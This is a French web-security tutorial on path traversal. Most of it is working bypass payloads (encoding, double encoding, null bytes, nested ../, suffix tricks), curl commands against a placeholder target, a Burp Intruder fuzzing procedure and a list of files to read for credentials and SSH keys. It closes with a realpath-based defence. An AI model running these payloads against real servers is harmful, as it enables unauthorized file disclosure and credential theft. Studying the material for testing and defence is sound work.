Aller au contenu

Path traversal : sortir du répertoire autorisé

Le path traversal exploite la façon dont un serveur résout les chemins de fichiers. Quand une application construit un chemin à partir d’une entrée utilisateur sans le normaliser correctement, les séquences ../ permettent de remonter dans l’arborescence et d’atteindre des fichiers en dehors du répertoire prévu.

Une application sert des fichiers depuis /var/www/uploads/ en construisant le chemin ainsi :

filepath = "/var/www/uploads/" + user_input

Avec user_input = "../../../etc/passwd", le chemin résolu devient /etc/passwd.

Un filtre naïf qui supprime ../ laisse passer de nombreuses variantes qui produisent le même résultat après normalisation par le système d’exploitation.

Les systèmes Windows acceptent indifféremment / et \. Certains serveurs Linux ou frameworks normalisent aussi les antislashes. La combinaison des deux trompe les filtres qui cherchent un pattern fixe :

..\/..\/..\/etc/passwd
..\/..\/..\etc\passwd
..%5c..%5c..%5cetc%5cpasswd

Une validation qui cherche ../ ne détecte pas ..\/. Après normalisation système, les deux produisent la même remontée de répertoire.

Certains filtres vérifient que le chemin se termine par une extension autorisée. Ajouter le suffixe en fin de chaîne, avant ou après la séquence de traversal :

CeciEstUnTest/../../../etc/passwd
images/photo.png/../../../../../../etc/passwd
uploads/avatar.jpg/../../../etc/shadow

Le suffixe satisfait la validation de format. Le chemin normalisé remonte quand même jusqu’à la cible.

Les serveurs décodent les paramètres URL avant de résoudre les chemins. Encoder les caractères sensibles contourne les filtres qui cherchent les séquences en clair :

# Encodage simple
..%2F..%2F..%2Fetc%2Fpasswd (/ → %2F)
..%5C..%5C..%5Cetc%5Cpasswd (\ → %5C)
%2e%2e%2F%2e%2e%2F (. → %2e, / → %2F)
# Double encodage (si le serveur décode deux fois)
..%252F..%252F..%252Fetc%252Fpasswd (%2F encodé → %252F)
..%255C..%255C (%5C encodé → %255C)

Le null byte tronque la chaîne au niveau du système de fichiers. L’extension après le null byte n’est jamais résolue :

../../../etc/passwd%00.png
../../../etc/passwd%00.jpg

Certains filtres suppriment ../ une seule fois, sans boucler. La séquence imbriquée se reconstitue après suppression :

....//....//....//etc/passwd
..././..././..././etc/passwd
....\/....\/....\/etc/passwd

En supprimant ../, ....// devient ../, la traversal est préservée.

/etc/passwd → liste des utilisateurs
/etc/shadow → hashes des mots de passe (root requis)
/etc/hosts → résolution de noms locale
/etc/hostname → nom de la machine
/proc/self/environ → variables d'environnement du processus serveur
/proc/self/cmdline → ligne de commande du processus
/proc/self/fd/0 → stdin du processus
~/.ssh/id_rsa → clé privée SSH de l'utilisateur courant
/var/log/apache2/access.log
/var/log/nginx/access.log
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\win.ini
C:\inetpub\wwwroot\web.config
C:\Users\Administrator\.ssh\id_rsa
C:\xampp\apache\conf\httpd.conf
Fenêtre de terminal
# Basique
curl "http://cible/download?file=../../../etc/passwd"
# Mixage slash / antislash
curl "http://cible/download?file=..%5c..%5c..%5cetc%5cpasswd"
# Encodage double
curl "http://cible/download?file=..%252F..%252F..%252Fetc%252Fpasswd"
# Avec suffixe
curl "http://cible/download?file=images/photo.png/../../../etc/passwd"
# Traversal répété
curl "http://cible/download?file=....//....//....//etc/passwd"
  1. Intercepter la requête contenant le paramètre de chemin
  2. Envoyer vers Intruder
  3. Poser un marqueur sur la valeur du paramètre : file=§valeur§
  4. Charger une wordlist de path traversal (disponible dans SecLists : Fuzzing/LFI/LFI-Jhaddix.txt)
  5. Lancer l’attaque et filtrer les réponses par longueur ou code HTTP
Fenêtre de terminal
# Télécharger SecLists si absent
git clone https://github.com/danielmiessler/SecLists /opt/SecLists
# Wordlist dédiée path traversal / LFI
/opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt
1. Identifier les paramètres qui référencent des fichiers
?file= ?path= ?page= ?template= ?doc= ?img= ?filename=
2. Tester la traversal basique
?file=../../../etc/passwd
→ réponse contient "root:" → vulnérabilité confirmée
3. Si refusé → tester les bypasses dans l'ordre
→ mixage slash/antislash : ..\/..\/
→ encodage URL simple : %2F %5C %2e
→ double encodage : %252F %255C
→ suffixe légitime en fin de chemin
→ traversal répété : ....//
4. Une fois la lecture confirmée
→ /etc/passwd pour lister les utilisateurs
→ /proc/self/environ pour les variables d'env (credentials, tokens)
→ fichiers de config de l'appli (connection strings, clés API)
→ clés SSH dans les home directories identifiés via /etc/passwd

Filtrer ../ ou ..\\ en entrée ne suffit pas si la chaîne n’est pas normalisée avant la vérification. La protection fiable consiste à résoudre le chemin complet (realpath() en PHP, os.path.realpath() en Python, Path.toRealPath() en Java) puis à vérifier que le chemin résolu commence bien par le répertoire autorisé, avant toute lecture du fichier.

$base = realpath('/var/www/uploads/');
$target = realpath($base . '/' . $user_input);
if (strpos($target, $base) !== 0) {
// chemin hors du répertoire autorisé
http_response_code(403);
exit;
}